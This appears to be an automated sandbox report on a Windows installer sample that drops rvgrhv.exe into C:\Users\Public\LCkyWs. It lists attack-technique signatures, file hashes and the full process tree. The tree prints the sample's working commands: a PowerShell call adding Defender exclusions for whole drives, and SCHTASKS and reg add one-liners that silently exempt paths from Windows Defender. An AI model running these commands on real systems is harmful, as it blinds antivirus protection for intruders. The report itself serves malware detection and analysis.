Analysis

  • max time kernel
    151s
  • max time network
    132s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/10/2026, 04:34

General

  • Target
    instdoload.1.3.06.exe
  • Size 38.8MB
  • Sample261007-e66qksby2y
  • SHA256 bdacc83ac6fb3a7f214b6e646be19f71fb6d4e0ccdf3864044b5b7151b6eb894
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe
    "C:\Users\Admin\AppData\Local\Temp\instdoload.1.3.06.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:2624
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:2408
    • C:\Users\Public\LCkyWs\rvgrhv.exe
      "C:\Users\Public\LCkyWs\rvgrhv.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Reads the TCP/IP host and domain name from the registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Enumerates connected drives
        • Suspicious use of AdjustPrivilegeToken
        PID:2420
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LCkyWs\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:4816
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\LCkyWs\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1188
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:2428
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:6040
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:3888
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:1716
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:5048
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2360
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:3508
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5444
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2136
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:5424
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:468
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2356
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:4360
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:2776
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:5632
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2804
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:1432
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4484
                        • C:\Users\Public\LCkyWs\rvgrhv.exe
                          "C:\Users\Public\LCkyWs\rvgrhv.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2316
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:1088
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LCkyWs" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5512
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\LCkyWs" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:4240
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:4428
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2784
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:1756
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:360

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 1KB
                                • SHA256 b3c85975d52a5589d22ba3367aa15933b36af10d77de0f59385c281e40644ec3
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 1KB
                                • SHA256 9618d308501223ca6aacab2b3dd6c5e4df45f786fd48003e51b7c1f9d33d74ce
                                • MD5 SHA1 SHA512 TLSH

                                0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                                • Size 512B
                                • SHA256 e10c6e8290549fea89884b742a970edb1b79f8236e246c60ffde90c428d7d54d
                                • MD5 SHA1 SHA512 TLSH

                                B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                                • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                                • Size 506B
                                • SHA256 aa91685aa0b5cfadc595d3adf343e504ac3740f72918ae962f2753932ac0516c
                                • MD5 SHA1 SHA512 TLSH

                                __PSScriptPolicyTest_xn5gv2av.hiq.psm1

                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xn5gv2av.hiq.psm1
                                • Size 60B
                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                • MD5 SHA1 SHA512 TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\LCkyWs\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 2d9c4fb8d229868d8193c7d09c57599af1f18d1ff86d67a1e67869dc6862fed4
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\LCkyWs\adoresd.dat
                                • Size 4.7MB
                                • SHA256 de585c3222e0ecf02a0990ec46a05bdbcbd1d5d639456216f7e979339595aeee
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\LCkyWs\msadox.tb
                                • Size 8KB
                                • SHA256 9837f2ca73f3ef987161a1f2cda5b02f55e828088778402cac602aa425f325f7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                rvgrhv.exe

                                • Path C:\Users\Public\LCkyWs\rvgrhv.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1184-559-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

                                memory/1184-569-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-537-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-539-0x00007FFB60AA0000-0x00007FFB60AA2000-memory.dmp

                                memory/1184-540-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-545-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-544-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-546-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-547-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-551-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-560-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

                                memory/1184-558-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

                                memory/1184-557-0x0000019B5C220000-0x0000019B5C26E000-memory.dmp

                                memory/1184-531-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp

                                memory/1184-561-0x0000019B5C300000-0x0000019B5C38A000-memory.dmp

                                memory/1184-566-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-568-0x0000019B5CD70000-0x0000019B5D5F7000-memory.dmp

                                memory/1184-532-0x00007FFB3DE60000-0x00007FFB3E37E000-memory.dmp

                                memory/2316-593-0x00007FFB60A90000-0x00007FFB60A92000-memory.dmp

                                memory/2316-592-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2316-591-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2316-590-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2316-579-0x00007FFB3DE60000-0x00007FFB3E37E000-memory.dmp

                                memory/2316-582-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2316-584-0x00007FFB60AA0000-0x00007FFB60AA2000-memory.dmp

                                memory/2316-585-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2316-589-0x0000019CF2F40000-0x0000019CF37C7000-memory.dmp

                                memory/2420-603-0x000001CCA04B0000-0x000001CCA04D2000-memory.dmp

                                memory/2420-606-0x000001CCA0520000-0x000001CCA053E000-memory.dmp

                                memory/2420-607-0x000001CCA07F0000-0x000001CCA08A2000-memory.dmp

                                memory/2420-608-0x000001CCA0510000-0x000001CCA051A000-memory.dmp

                                memory/2624-0-0x0000000000870000-0x000000000087E000-memory.dmp

                                memory/2624-526-0x00007FFB502F0000-0x00007FFB50302000-memory.dmp

                                memory/2624-503-0x00007FFB502F0000-0x00007FFB50302000-memory.dmp

                                memory/2624-525-0x0000000000870000-0x000000000087E000-memory.dmp

                                memory/2624-1-0x00000000023C0000-0x00000000023CC000-memory.dmp